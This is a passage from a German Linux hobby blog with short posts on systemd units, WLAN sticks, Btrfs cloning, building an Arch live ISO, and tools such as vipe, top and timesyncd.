Restart=always

[Install]
WantedBy=multi-user.target

 Wenn man will kann man auch noch StandardError= für eventuell auftretende Fehler definieren. Hier gelten wieder oben genannte Möglichkeiten. Gibt man dies nicht direkt in der Service-Datei an, wird der Standard inherit verwendet.


Vivaldi - Opera 12 ist wieder da. Vielleicht.

Heute wurde die erste Vorabversion des Browsers Vivaldi veröffentlicht. Hinter Vivaldi steht unter anderem Jon von Tetzchner (Mitbegründer und langjähiger Chef von Opera) sowie einige ehemaligen Opera-Entwickler die im Zuge der Umstellung von Opera alt auf Opera neu nicht mehr benötigt wurden.

Der Browser will die Konzepte des alten Opera aufgreifen und weiterentwickeln und hier auch auf die Wünsche der Nutzer eingehen. In der Technical-Preview-Version gibt es noch Ecken und Kanten und viele Funktionen die Opera bis Version 12 ausgemacht haben, sind noch nicht vorhanden. Allerdings kann der Browser bereits jetzt über einen größeren Funktionsumfang (wenn auch noch nicht komplett) als so mancher neu erfundene Browser aufwarten...

- Mülleimer zum wiederherstellen von geschlossenen Tabs
- Lesezeichen - Downloadmanager
- Notizfunktion (Markdown wird unterstützt)
- Grundlegende Mausgesten
- Schnellwahl
- Screenshotfunktion
- Tastaturkürzel definierbar
- Schaltfäche zum Schließen einzelner Tabs
- Schaltfläche neben den offenen Tabs um einen leeren Tab zu erstellen
- Usw.

Andere Funktionen wie einen integrierten Mail-Client dessen Icon man bereits in der Technical-Preview-Version findet werden noch folgen. Erweiterungen sollen auch unterstützt werden, allerdings wollen die Entwickler diese so unnötig wie möglich halten. Also alles wichtige soll bereits von Haus aus im Browser enthalten sein.
Für eine eine Vorabversion bin ich bisher sehr zufrieden und kann ein gewisses "Opera-vor-Version-12-Feeling" nicht abstreiten. Ich hoffe inständig, dass die Entwickler ihr Vorhaben umsetzen können und somit endlich ein würdiger Nachfolger von Opera 12 das Licht der Welt erblickt und lange lebt.

Genutzt wird Blink als Rendering-Engine. Im Grunde ein logischer Schritt, da Presto ja nicht mehr weiterentwickelt wird und zudem auch nicht frei erhältlich ist. Einen Nachteil hat Vivaldi aber leider schon. So wie es aussieht ist der Browser, wie auch schon Opera, nicht Open Source Software.

Vivaldi

Die derzeitige Optik ist ebenfalls ziemlich gewöhnungsbedürftig. Hier sollte es aber schnell Abhilfe geben, da das aktuelle Theme über eine CSS-Datei definiert wird, was weitere Themes wohl nur unterstützten wird.

Kurz gesagt, wer Opera bis Version 12 genutzt hat, sollte sich einmal Vivaldi ansehen. Aber immer daran denken, dass es sich um eine Technical-Preview-Version handelt.

Der Browser ist für Windows, Linux und Mac OS erhältlich und kann unter https://vivaldi.com/ heruntergeladen werden. Unter https://vivaldi.net findet man die Community-Seite. Dort kann ein eigenes Blog erstellen und später auch die Mailfunktion nutzen. Ein Forum findet man dort ebenfalls. Kommt ehemaligen Opera-Nutzern vermutlich irgendwie bekannt vor.


EncFS 1.8 RC1 veröffentlicht

Wenn es um das Verschlüsseln von Daten bei Cloud-Anbietern wie Dropbox geht, habe ich ganz gerne EncFS genutzt, da der Zugriff nicht nur unter Linux sondern auch unter Windows möglich ist. Anfang 2014 hat sich Taylor Hornby die Mühe gemacht und hat EncFS auf Sicherheitslücken untersucht. Da die letzte offizielle Version von Ende 2011 war und sich seit dem auch einige Dinge in Sachen Sicherheit getan haben, hat er natürlich einige Probleme gefunden und dem Entwickler gemeldet. Dieser hat die Aussage getroffen, dass Version 2.0 in Entwicklung ist und dass die Behebung der Probleme dort mit einfließen wird. Und dann war Stille. Bis vor ein paar Tagen.

Am 06.01.15 wurde EncFS 1.8 RC1 veröffentlicht. Bei der Gelegenheit ist das Projekt auch zu Github umgezogen. Laut dem Entwickler bietet der neue RC folgende Highlights.

- improve automatic test converage: also test reverse mode (make test)
- add per-file IVs based on the inode number to reverse mode to improve security
- add automatic benchmark (make benchmark)
- compare MAC in constant time ( fixes bug #12 )
- add --nocache option
- lots of fixes to make building on OSX easier

Somit dürfen schon mal zwei Sicherheitsprobleme behoben sein. Ich hoffe, dass die Entwicklung von EncFS nun nicht wieder einschläft und man das Tool zukünftig wieder ohne ein ungutes Gefühl im Hinterkopf benutzten kann.


Kurztest TP-Link WN722NC WLAN-USB-Stick

Manchmal nervt mich WLAN. Manchmal könnte man denken, der Teufel hätte es erfunden. Zumindest wenn man zum einen Linux nutzt und zum anderen so ein saudummes Netbook hat, dessen Hersteller zum einen eine WLAN-Karte von Broadcom verbaut und zum anderen im Bios eine Whitelist einbaut (welche er natürlich nicht veröffentlicht), wegen der dann nur gewisse Netzwerkkarten verbaut werden können. Karten von Intel gehören scheinbar nicht dazu, sonst wäre das Thema schon lange erledigt. Da Intel scheinbar keine WLAN-Sticks herstellt, habe ich (wie bereits geschrieben) die WLAN-Karte deaktiviert und bin auf einen kleinen USB-Stick mit Realtek-Chipsatz umgestiegen, welcher mit dem Modul rtl8192cu unter Linux genutzt werden kann. Zumindest bis vor ein paar Tagen.

Urplötzlich hatte ich nach einem Update alle paar Minuten einen kompletten Absturz des Sticks. Keine Internetverbindung, kein Pingen des Routers. Nichts. Ein Neustart der Netzwerkverbindung hat das Problem beseitig, welches dann nach ein paar Minuten wieder aufgetreten ist. Laut diversen Treffern bei Google bin ich hier nicht alleine betroffen. Bei vielen hat ein Downgrade des Pakets linux-firmware geholfen. Bei mir natürlich nicht. Hätte mich auch gewundert.

Wie es der Zufall so will, habe ich für einen Bekannten zwei WLAN-Sticks (TP-Link WN722NC) bestellt welche er noch nicht abgeholt hat. Die Sticks laufen mit Atheros-Chipsätzen. Die hatte ich bisher am Netbook noch nicht... Also mal eben meinen Bekannten angerufen und grünen Licht erhalten und somit einen der Sticks ausgepackt. An Hardware wird der Stick an sich, eine Antenne (welche man an den Stick schrauben kann um die Leistung zu verstärken) sowie eine Docking-Station mitgeliefert.

k-IMG_20150103_191826 k-IMG_20150103_191746

Für ein Netbook ist der Stick ein ziemlicher Brocken (93,5mm*26mm*11mm). Vor allem wenn auch noch die Antenne angeschraubt ist. Beim Transport würde ich den Stick definitv entfernen.

Angesprochen wird der Stick unter Linux über das Modul ath9_htc. Bisher läuft der Stick hiermit stabil seit einigen Tagen und ist laut Router (OpenWRT) mit 120 Mbps angebunden. Wenn man sich so in diversen Wardriving-Foren umsieht, wird dort dieser Stick auch sehr oft empfohlen. Und das schon seit längerem. Da der Stick aktuell für etwas unter 8 Euro zu haben ist, kann ich hier aktuell nur eine Empfehlung aussprechen. Mal sehen ob bzw. wann ich das bereue. Das nächste Net- bzw. Notebook wird definitv eines mit einer WLAN-Karte von Intel bzw. eines ohne White- bzw. Blacklist. Oder eines für das man ein modifiziertes Bios erhält...


Achtung beim Klonen einer Btrfs-Partition

Da ich zu Weihnachten eine SSD bekommen habe, habe ich die Partitionen meiner Linux-HDD kurzerhand auf die SSD geklont. Da ich solchen Vorgängen nicht 100%ig vertraue wollte ich die normale Festplatte erst einmal ohne Änderungen im System belassen. Quasi als Backup. Nachdem ich im UEFI die Bootreihenfolge umgestellt hatte, konnte ich auch wunderbar von der SSD booten. Allerdings war das Ganze nicht schneller als per HDD und eine der HDD hatte dabei auch Schreib- bzw. Lesezugriffe.

Hmmm... der Groschen ist recht schnell gefallen. Ich mounte über die UUID der Partitionen. So kann ich eine SATA-Platte abklemmen und auf einen anderen SATA-Port anschließen und der Rechner bootet weiterhin, da sich die UUID nicht ändert. Auch beim Klonen nicht. Somit hatte ich auf der SSD als auch der HDD die gleichen UUID und die wurden beide gnadenlos gemountet. Zweimal /, zweimal /boot und zweimal /home. Das es dabei nichts zerrissen hat, war vermutlich Glück. Beim letzten Festplatten-Umzug habe ich mittels tune2fs /dev/sdXY -U urandom einfach neue UUID vergeben (anstelle von sdXY sollte man natürlich die Partitionen der alten Platte angeben). Wie schon angemerkt habe ich eigentlich drei Partitionen. Einmal /boot, einmal / und einmal /home. Boot habe ich, da dort nichts wichtiges liegt, kurzerhand von der alten Platte getilgt. Home (ext4) konnte ich mit genanntem Befehl eine neue UUID verpassen. Nur / hat sich standhaft geweigert. Dort setze ich Btrfs als Dateisystem ein. Tune2fs ist aber nur für ext2 bis ext4. Aber es gibt ja btrfstune. Hier gibt es allerdings keine Möglichkeit die UUID zu ändern. Herzlichen Glückwunsch, das ist bei Btrfs auch nicht vorgesehen. 

Wer also auf die Idee kommt, eine Btrfs-Partition zu klonen und beide Partition hinterher mounten zu wollen, sollte hier lieber dann bei einer der beiden Partitionen auf /dev/sdXY oder das Label der Partition zurückgreifen und nicht auf die UUID. Nur so als kleiner Hinweis am Rande.


WLAN-Verbindung nach Suspend tot

Mein Netbook ist, wie hier schon geschrieben, mit einem WLAN-USB-Stick von Edimax ausgerüstet. An sich läuft dieser auch sehr zufriedenstellend. Wäre da nur nicht ein Problem wenn ich den Rechner per Suspend schlafen schicke.

In der Datei /etc/systemd/logind.conf habe ich eingestellt, dass sobald der Deckel des Netbooks geschlossen wird der Rechner per Suspend to Ram schlafen geschickt wird. Das funktioniert auch soweit. Wecke ich den Rechner wieder auf funktioniert alles nur die WLAN-Verbindung mag nicht mehr. Hierbei ist mir aufgefallen, dass jedes mal wenn ich den Rechner ins Bett schicke die Anzeige am Stick ausgeht aber nach dem Aufwecken nicht wieder an.

Da ich systemd und für die Netzwerkverbindungen netctl nutze habe ich mir kurzerhand eine Service-Datei gebastelt mit der nach dem Aufwecken auch die WLAN-Verbindung automatisch wieder in einen funktionsfähigen Zustand versetzt wird.

[Unit]
Description=Verbindung mit netctl sichern und wiederherstellen
Before=sleep.target
StopWhenUnneeded=yes

[Service] Type=oneshot
RemainAfterExit=yes
ExecStart=/usr/bin/netctl store ; /usr/bin/netctl stop-all
ExecStop=/usr/bin/netctl restore 

[Install]
WantedBy=sleep.target

Im Grunde genommen ist das Ganze schnell erklärt. Bevor sleep.target (in dem Fall also Suspend) ausgeführt wird, werden die Befehle abgesetzt, die in der Zeile welche mit ExecStart beginnt stehen. Wenn der Rechner wieder aufgeweckt wird, wird dann noch das ausgeführt, was in der Zeile mit ExecStop eingetragen ist.

Mit netctl store wird abgespeichert, welche Profil gerade aktiv ist. Netctl stop-all stoppt alle Profile. Und netctl restore läd alle Profile wieder, die mit store als aktiv gespreichert wurden. Den Service habe ich dann unter /etc/systemd/system/netctl-restore.service abgespeichert und mittels systemctl enable netctl-restore.service scharf geschaltet. Versetze ich den Rechner nun in Tiefschlaf und wecke ich ihn wieder auf, steht innerhalb weniger Sekunden die WLAN-Verbindung wieder. Einen kleine Schönheitsfehler gibt es aber noch. Ich nutze aus diversen Gründen (wie z. B. wegen der Gema-Blockade bei Youtube) einen VPN-Dienst. Dieser spielt hierbei irgendwie nicht mit. Von daher habe ich die Service-Datei noch einmal bearbeitet und Zeile 10 wie folgt erweitert.

ExecStop=/usr/bin/netctl restore ; /usr/bin/systemctl restart openvpn@vpn.service

Somit wird erst das Profil mit netctl wieder aktviert und danach die OpenVPN-Verbindung neu gestartet.


Was wird über ein systemd-target gestartet?

Systemd bietet sogeannte Targets. Grob gesagt so etwas wie Runlevel wie man sie von sysVinit her kennt. Multi-user.target entspricht hier am ehesten Runlevel 3. Graphical.target Runlevel 5. Um sich eine Übersicht zu verschaffen welche Services zum Beispiel das Target multi-user.target ausführen möchte, kann man folgenden Befehl verwenden:

systemctl show -p "Wants" multi-user.target

Als Ergebnis erhält man dann beispielsweise folgende Ausgabe:

Wants=cronie.service openvpn@nvpn.service unbound.service remote-fs.target systemd-networkd.service
haveged.service updatedb.timer shadow.timer rpcbind.service logrotate.timer man-db.timer
systemd-logind.service systemd-user-sessions.service getty.target systemd-ask-password-wall.path
dbus.service

Anstelle von Wants kann auch WantedBy, Requires, RequiredBy, Conflicts, ConflictedBy, Before, After genutzt werden. Eine genauere Erklärung der sogenannten Section Options findet man hier. Daher gehe ich hier nicht näher darauf ein.


Merkitys - Live-Distribution

Urlaubszeit ist Bastelzeit. Und da ich gerade Urlaub habe bastle ich mir gerade meine eigene Live-Distribution zusammen. Als Basis nehme ich Arch Linux. Hier mal eine Zusammenfassung, was ich bisher gemacht habe.

Der komplette Vorgang erfolgt, wie im Arch-Wiki angegeben, komplett mit Root-Rechten.

Um sich eine eigene Live-Distribution zu erstellen benötigt man das Paket archiso. Dieses habe ich mir mittels pacman -S archiso kurzerhand installiert. Als nächstes habe ich mir ein Arbeitsverzeichnis erstellt (mkdir /home/benutzer/archlive). Hierbei ist zu beachten, dass der ganze Spass einiges an Speicher benötigt. Daher habe ich das Verzeichnis auch kurzerhand im Homeverzeichnis meines normalen Benutzerkontos erstellt. Beim ersten Versuch hatte ich das Verzeichnis im Verzeichnis von root erstellt und mir beim Anlegen des Isos die komplette Partition geflutet was das Betriebssystem gar nicht lustig fand...

Nun habe ich mittels cp -r /usr/share/archiso/configs/PROFILE/ /home/benutzer/archlive alle Dateien und Verzeichnisse in das eben angelegte Arbeitsverzeichnis kopiert. Jetzt kann der Spass beginnen.

Im Unterverzeichnis releng im Arbeitsverzeichnis findet man eine Datei namens build.sh. Mit dieser wird die Iso-Datei erstellt. Für meine Bedürfnisse waren allerdings Änderungen nötig. Folgende Dinge habe ich daher kurzerhand geändert.

- Bei iso_name= habe ich archlinux gegen Merkitys ausgetauscht. Somit wird schlussendlich die Datei Merkitys-$Datum.iso erzeugt. Anstelle von $Datum wird das jeweils aktuelle Datum angezeigt an dem die Datei erstellt wurde. Also z. B. Merkitys-2014-12-03.iso
- Ein ganzes Stück weiter unten gibt es die Zeile "mkarchiso ${verbose} -w "${work_dir}" -D "${install_dir}" -L "${iso_label}" -o "${out_dir}" iso "${iso_name}-${iso_version}-dual.iso"". Hier habe ich das -dual entfernt, da ich eine reine 64Bit-Version haben möchte.
- Fast ganz am Ende der Datei finden sich drei Zeilen mit folgendem Inhalt: "for arch in i686 x86_64; do". Damit auch wirklich nur die 64-Bit-Version erstellt wird habe ich kurzerhand einfach das i686 entfernt und die Datei abgespeichert.

Im gleichen Verzeichnis findet man die Dateien packages.x86_64, packages.i686 und packages.both. In der ersten Datei werden die Pakete eingetragen die für 64 Bit gelten. In der zweiten die für 32 Bit und in der letzten für beide Architekturen. In der für 64 Bit sollten einige wenige Pakete genannt sein. Die für 32 Bit sollte leer sein und die für beide sollte den meisten Inhalt aufweisen. Da ich nur 64 Bit will habe ich daher einfach den Inhalt der Datei packages.both ausgeschnitten und unter den Inhalt der Datei packages.x86_64 eingefügt, so dass nun auch packages.both komplett leer ist. Die nun in der Datei packages.x86_64 genannten Pakete bzw. Paketgruppen sind quasi nur die Minimalinstallation. Hier kann man sich nach Lust und Laune austoben. Pro Zeile darf aber nur ein Paket bzw. eine Paketgruppe genannt werden. Fürs erste habe ich folgende Pakete/Gruppen hinzugefügt: lxde, meld, nano, xf86-video-ati, xf86-video-intel, xf86-video-nouveau, xf86-video-vesa, xorg-apps, xorg-server und xorg-server-utils. Auf eventuelle nötige Abhängigkeiten muss man hierbei nicht achten. Diese werden bei Bedarf automatisch installiert.

Da ich ohne eingreifen zu müssen automatisch lxdm und damit auch lxde ausführen möchte habe ich anschließend im Verzeichnis ~/archlive/releng/airootfs/etc/systemd/system folgenden Befehl ausgeführt: ln -s /usr/lib/systemd/system/lxdm.service display-manager.service. Das sollte eigentlich dem System mitteilen, dass lxdm automatisch gestartet wird. Erstellt man an dieser Stelle jetzt die Iso-Datei und bootet davon, wir man merken, dass es aber nicht klappt. Schuld ist hier die Datei customize_airootfs.sh welche man unter releng/airootfs/root findet. In dieser findet man die Zeile systemctl set-default multi-user.target. Und genau die verhindert dass lxdm automatisch gestartet wird. Quasi falscher Runlevel. Von daher habe ich das multi-user.target gegen graphical.target ausgetauscht. Da ich die Datei schon offen habe habe ich die Zeile "sed -i 's/#\(us_US\.UTF-8\)/\1/' /etc/locale.gen" bei der Gelegenheit gleich auf "sed -i 's/#\(de_DE\.UTF-8\)/\1/' /etc/locale.gen" geändert.

Um zu verhindern, dass im Bootloader auch die Einträge für die 32-Bit-Version auftauchen habe ich weiterhin unter releng/syslinux alle Dateien mit 32 im Dateinamen (z. B. archiso_sys32.cfg) gelöscht. Abschließend habe ich nun in der Konsole das bereits erwähnte Script build.sh mittels ./build.sh -v ausgeführt. Der Parameter -v sorgt dafür dass der Vorgang etwas gesprächiger ist und man eventuelle Fehlerquellen bemerkt. Wenn alles geklappt hat, sollte man nun unter releng/out/ die Iso-Datei finden. Nach ersten Tests unter VirtualBox dürfte eigentlich alles geklappt haben. Lxdm sollte automatisch starten und man sollte sich problemlos an Lxde anmelden können. Für den bisher vorhandenen Nutzer ist aktuell übrigens kein Passwort gesetzt. Die wenigen vorhandenen Programme sollten eigentlich auch alle starten. Der Rohbau steht sozusagen.

Als nächstes werde ich wohl die Paketliste sowie das Startmenü von Lxde erweitern. Anregungen nehme ich gerne an.

Wer sich diese noch sehr eingeschränkte Live-Distribution einmal ansehen will, kann Sie unter https://spideroak.com/browse/share/datengrab/Merkitys herunterladen. Die Prüfsummen sind wie folgt.

MD5: e08e6116dff6173c906a2b91714a4992
SHA256: 4dade41774bb1faaac12decac3796b2fd3299a5fb22314e5305846acd548db18

Vermutlich werden jetzt einige sich fragen wieso ich nicht einfach eine bereits fertige Live-Distribution wie die SystemRescueCD nehme. Im Grunde genommen will ich zwei Dinge damit erreichen. Zum einen will ich archiso bzw. das Remastern einer bereits vorhandenen Arch-Live-Distribution besser verstehen. Und zum anderen will ich testen inwiefern bei einer solchen Iso-Datei Delta-Updates (mit xdelta3 erstellt) Sinn machen.


Top sieht rot

Den Befehl top mit dem man sich die laufenden Prozesse anzeigen lassen kann, kennt vermutlich jeder Linux-Nutzer. Das die Ausgabe von top nun allerdings in rot/orange erfolgt ist neu. Und meiner Meinung nach schlecht zu ertragen. Wie gut, dass ich eigentlich immer nur htop nutze.

top1

Um wie gewohnt die alte Ausgabe zu erzeugen muss man wie folgt vorgehen. Als erstes startet man top. Nun drückt folgende Tasten z V 1 y m m t t t W Nun sollte top wieder wie gewohnt aussehen.

top2

Bei obiger Tastenkombination wird in ~ die Datei .toprc erzeugt. Sowei ja kein Problem. Ich habe mir die Datei dann allerdings mal in einem Editor angesehen. Und was soll ich sagen? An der Datei ändere ich von Hand bestimmt nichts...

top's Config File (Linux processes with windows)
Id:i, Mode_altscr=0, Mode_irixps=1, Delay_time=1.500, Curwin=0
Def     fieldscur=�&K�����@���56�F�')*+,-./0128<>?ABCGHIJLMNOPQRSTUVWXYZ[\]^_`a$
        winflags=192564, sortindx=18, maxtasks=0, graph_cpus=0, graph_mems=0
        summclr=1, msgsclr=1, headclr=3, taskclr=1
Job     fieldscur=�����(��Ļ�@<�Ż)*+,-./012568>?ABCFGHIJKLMNOPQRSTUVWXYZ[\]^_`ab$
        winflags=163124, sortindx=0, maxtasks=0, graph_cpus=2, graph_mems=0
        summclr=6, msgsclr=6, headclr=7, taskclr=6
Mem     fieldscur=���<�����MBN�D34��&'()*+,-./0125689FGHIJKLOPQRSTUVWXYZ[\]^_`a$
        winflags=163124, sortindx=21, maxtasks=0, graph_cpus=2, graph_mems=0
        summclr=5, msgsclr=5, headclr=4, taskclr=5
Usr     fieldscur=�����������)+,-./1234568;<=>?@ABCFGHIJKLMNOPQRSTUVWXYZ[\]^_`a$
        winflags=163124, sortindx=3, maxtasks=0, graph_cpus=2, graph_mems=0
        summclr=3, msgsclr=3, headclr=2, taskclr=3
Fixed_widest=0, Summ_mscale=2, Task_mscale=1, Zero_suppress=0


Vipe - Die Pipeline editieren

Ab und an kann es vorkommen, dass man die Daten, die man per Pipe an einen anderen Befehl weiterleitet vorher noch editieren möchte. Hierfür kann man beispielsweise vipe nutzen.

Nehmen wir mal folgendes, billiges Beispiel. In einem Verzeichnis befinden sich diverse Bilddateien.

vipe1

Diese Dateien wollen wir nun mittels ls | xargs echo ausgeben lassen (sagte ich bereits, dass das Beispiel billig ist? :D). Dabei kommt dann folgendes heraus.

vipe2

Bei den Dateinamen fällt nun auf, dass eine der Dateien (bild_3.jpg) vom Dateinamen anders aufgebaut ist als die anderen Dateien. An der Stelle kommt nun vipe ins Spiel. Ändert man den Befehl nun in ls | vipe | xargs echo ab, kann man die Informationen, die man durch ls erhält erst noch mit einem Editor verändern  bevor sie an xargs übergeben werden.

vipe3

Bei diesem Beispiel habe ich nun den Unterstrich entfernt um die Ausgabe zu vereinheitlichen.

vipe4

Zu finden ist vipe, zumindest unter Arch Linux, im Paket moreutils. In diesem Paket sind auch noch einige andere, interessante Befehle zu finden. Ansehen lohnt sich also meiner Meinung nach.


Verzeichnisstruktur ohne Dateien kopieren

Folgendes bekam ich die Tage als Aufgabenstellung. Eine Bekannte von mir hat auf einer Festplatte ein Hauptverzeichnis. Darin enthalten sind Unterverzeichnisse. In diesen sind ebenfalls Unterverzeichnisse usw. In manchen Verzeichnissen liegen Dateien in manchen nicht. Gewünscht war nun, die ganze Verzeichnisstruktur exklusive der Dateien in ein neues Hauptverzeichnis auf einer anderen Platte zu packenn. Das ganze möglichst automatisch, da ein erster manueller Versuch wohl frustriert aufgegeben wurde (sehr viele Verzeichniss und viele Dateien).

Gelöst habe ich ganze wie folgt (mit der Konsole war ich bereits auf dem betreffenden Mountpoint der Festplatte mit den Verzeichnissen inkl. der Dateien).

cd Hauptverzeichnis
find . -type d -exec mkdir -p /mountpoint_der_neuen_platte/Hauptverzeichnis{} ';'

Und schon wurde auf der neuen Platte ein Hauptverzeichnis mit den ganzen Unterverzeichnissen exklusive der Dateien erstellt.


Automatisches Aufräumen von temporären Dateien unter systemd steuern

In den letzten Wochen war es mal wieder hip gegen systemd zu sticheln. Einige Personen hatten es zum Beispiel auf den Service systemd-tmpfiles-clean abgesehen. Mit diesem werden temporäre Dateien nach einer bestimmten Zeitspanne automatisch gelöscht. Die Standardeinstellung für /tmp ist 10 Tage, die für /var/tmp 30 Tage.

Es wurde nun argumentiert, dass diese Einstellungen für die meisten Nutzer blödsinnig wären. Wie gut, dass man etwas dagegen machen kann. Fangen wir mal damit an, die Fristen auf die persönlichen Bedürfnisse anzupassen. Die betreffende Konfigurationsdatei findet man unter /usr/lib/tmpfiles.d/ und nennt sich tmp.conf. Diese sieht bei mir wie folgt aus.

#  This file is part of systemd.
#
#  systemd is free software; you can redistribute it and/or modify it
#  under the terms of the GNU Lesser General Public License as published by
#  the Free Software Foundation; either version 2.1 of the License, or
#  (at your option) any later version.

# See tmpfiles.d(5) for details

# Clear tmp directories separately, to make them easier to override
d /tmp 1777 root root 10d
d /var/tmp 1777 root root 30d

# Exclude namespace mountpoints created with PrivateTmp=yes
x /tmp/systemd-private-%b-*
X /tmp/systemd-private-%b-*/tmp
x /var/tmp/systemd-private-%b-*
X /var/tmp/systemd-private-%b-*/tmp

Die ersten beiden Zeilen setzen sich wie folgt zusammen. |Typ|Pfad|Rechte|UID|GID|Alter|. Für viele ist vermutlich das Alter interessant ab dem gelöscht wird. Hier kann man sich entsprechend austoben. Mögliche Zeiteinheiten sind s, min, h, d, w, ms, m, us. Diese müssen ohne Lehrzeichen angegeben werden. Also z. B. 10d oder 10d12h.

Will man z. B. ein Unterverzeichnis vom automatischen Bereinigen ausnehmen ist der Typ x, wie man es im zweiten Block sehen kann, die Wahl der Waffe.

Unter http://www.freedesktop.org/software/systemd/man/tmpfiles.d.html (englisch) kann man sich den ganzen Spaß noch genauer und ausführlicher durchlesen.

Was aber, wenn man gar kein automatisches Bereinigen der temporären Dateien wünscht? Am einfachsten ist es wohl den Service einfach zu deaktivieren.

Abschließend bleibt mir eigentlich nur noch eines zu sagen. Dieses Argument gegen systemd ist eigentlich gar kein Argument. Es zeigt eigentlich nur, dass sich viele systemd-Gegner nicht wirklich mit systemd-Projekt beschäftigt haben. Und nein, systemd ist trotz allem nicht der heilige Gral. Ich musste mich auch schon einige Zeit mit der Meldung "a stop stop ist running for User Manager for UID 1026" und dem damit verbundenen Countdown von 90 Sekunden beim Herunterfahren meines Hauptrechners herumschlagen.


Zeit mittels timesyncd synchronisieren

Vor ein paar Minuten ist mit aufgefallen, dass die Uhr unter lxde um ein paar Minuten falsch läuft. Wie es sich herausgestellt hat, hatte ich schlicht und ergreifend vergessen NTPD zu installieren. Bei der Gelegenheit habe ich jetzt allerdings timesyncd getestet. Dies ist ein Service aus dem systemd-Projekt (nicht dem init-Dienst) welcher für meine Anforderungen das gleiche wie NTP macht. Es gleicht die Uhr meines Rechners mit einem Zeitserver im Internet ab.

Als erstes habe ich mir die Konfigurationsdatei /etc/systemd/timesyncd.conf vorgenommen. Diese ist im Auslieferungszustand sehr übersichtlich.

#  This file is part of systemd.
#
#  systemd is free software; you can redistribute it and/or modify it
#  under the terms of the GNU Lesser General Public License as published by
#  the Free Software Foundation; either version 2.1 of the License, or
#  (at your option) any later version.
#
# See timesyncd.conf(5) for details

[Time]
#Servers=time1.google.com time2.google.com time3.google.com time4.google.com

Eigentlich muss man in der letzten Zeile nur das # entfernen und die Datei speichern.

Als nächstes habe ich dann mittels "systemctl start timesyncd" den Service gestartet. Da es keinerlei Beschwerden gab, folgte ein "systemctl enable timesyncd" um den Service automatisch zu starten. Abschließend habe ich den Rechner neu gestartet. Und die Uhr lief trotzdem um ein paar Minuten falsch... Also mal Tante Google fragen. Nach wenigen Sekunden hatte ich die Antwort. Damit timesyncd funktioniert muss auch systemd-networkd laufen. Da ich aber netctl für meine Netzwerkverbindungen nutze, ist mir das aber nicht so recht. Aber vielleicht reicht es ja, wenn systemd-networkd nur läuft aber nicht konfiguriert ist... Probieren wir es aus und aktivieren wir den Dienst mittels "systemctl enable systemd-networkd" und starten die Büchse neu. Und schwupps funktioniert timesyncd, obwohl ich netctl nutze. Vermutlich werde ich aber trotzdem wieder auf ntpd umschwenken, da ich damit systemd-networkd nicht laufen lassen muss.


Bootzeit unter systemd analysieren

Wenn man herausfinden will, welcher Service beim Booten mit systemd den Bootprozess verlangsamt, kann man dies mittels folgendem Befehl recht gut darstellen.

multi-user.target @28.246s
└─clamav-freshclam.service @27.657s +247ms
  └─clamav-daemon.service @3.042s +24.604s
    └─basic.target @3.026s
      └─sockets.target @3.023s
        └─dbus.socket @3.021s
          └─sysinit.target @3.017s
            └─ferm.service @2.756s +259ms
              └─network.target @2.752s
                └─networking.service @427ms +2.323s
                  └─local-fs.target @410ms
                    └─run-lock.mount @396ms +11ms
                      └─local-fs-pre.target @384ms
                        └─systemd-udevd.service @303ms +20ms
                          └─systemd-tmpfiles-setup-dev.service @208ms +80ms
                            └─systemd-journald.socket @114ms
                              └─-.mount @100ms

Die Angabe nach dem @ zeigt an, wie lange der Service aktiv ist. Die Zahl hinter dem + zeigt an, wie lange der Service zum Starten gebraucht hat. So kann man recht gut herausfinden, welcher Probleme macht.


Cool-old-term - Terminal Emulator der alten Schule

Kennt Ihr noch die Monitore mit der bernsteinfarbenen Schrift? Vermisst ihr sie? Wenn ja, ist das folgende eventuell etwas für euch. Ein Terminal Emulator der der dieses "Old-School-Feeling" wieder bringt. Selbst an die auftretenden Störungen wurde gedacht. Aber seht selbst.

Den Blog-Eintrag des Entwicklers mit weiterführenden Links findet man unter http://swordfishslabs.wordpress.com/2014/07/29/brace-yourself-cool-old-term-is-coming/.

Persönlich muss ich sagen, sinnlos wie sau. Installieren werde ich mir den Terminal Emulator aber dennoch einmal. :D


Subreddit /r/gerlinux

Ich lese regelmäßig den Subreddit /r/linux mit, da dort durchaus einige interessante Dinge zu finden sind. Allerdings auch viel Mist, wie Bilder eines Eiswagens auf dem Tux oder ein anderer Pinguin zu sehen ist. Bezüglich solcher Beiträge gibt es bei anderen Lesen inzwischen auch einige kritische Beiträge. Allerdings wird diese Kritik oft nicht wirklich zivilisiert vorgebracht.

Da ich zu /r/linux keine Alternative gefunden habe, die dann vielleicht auch noch deutschsprachig ist, habe ich kurzerhand einfach mal /r/gerlinux erstellt. Dies soll einem deutschsprachigen Subreddit ähnlich /r/linux entsprechen, nur ohne diese 0815 Beiträge mit einem Tux-Eiswagen als Inhalt. Und ohne die Leute, die anstelle zu downvoten Flame-Beiträge erstellen, was im Grund noch nerviger ist als ein Tux-Eiswagen.


Fenstertitel von Terminator in Verbindung mit der ZSH

Als Terminal-Emulator setze ich, wie in einem anderen Artikel bereits geschrieben, Terminator ein. In Verbindung mit der ZSH gibt es hier allerding etwas, dass mich stört. Und zwar wird als Fenstertitel immer /bin/zsh angezeigt.

-bin-zsh_001

Um das zu ändern, muss man die Datei .zshrc anpassen, welche man im Home-Verzeichnis findet. In dieser fügt man folgendes ein.

case $TERM in xterm*) precmd () {print -Pn "\e]0;%~\a"} ;; esac

Speichert man die Date nun und öffnet eine neue Instanz von Terminator, erhält man folgenden Titel angezeigt.

titel_zsh_2

Was als Titel angezeigt wird, definiert man mittels print -Pn "\e]0;%~\a". In diesem Beispiel wird einfach das Verzeichnis angezeigt, in dem man sich gerade befindet. Das Home-Verzeichnis wird hierbei mit dem üblichen ~ abgekürzt. Nimmt man stattdessen print -Pn "\e]0;%n@%m: %~\a" erhält man den Titel Benutzername@Hostname: Aktuelles Verzeichnis. Die ganzen Prompt Escapes wie %~ oder %n usw. kann man hier nachlesen. Somit lässt sich die Anzeige an die eigenen Wünsche anzeigen.


Mein Netbook ist endlich broadcom-frei

Ich nenne ein X130e von Lenovo mein Eigen. An sich ein wirklich gutes Gerät in dieser Klasse. Allerdings ist als Wlan-Karte ein Exemplar von Broadcom verbaut. Letztes Jahr hatte ich damit schon mal üble Probleme. Seit einiger Zeit fällt die Datenrate bei jedem größeren Datenverkehr bis auf knappe 100 K/s. Normalerweise würde man an dieser Stelle einfach eine andere Karte einbauen. Vorzugsweise von Intel. Dank der Whitelist im Bios des Geräts kann es sich allerdings an die Backe schmieren. Selbst mit einem modifizierten Bios bin ich hier nicht weitergekommen.

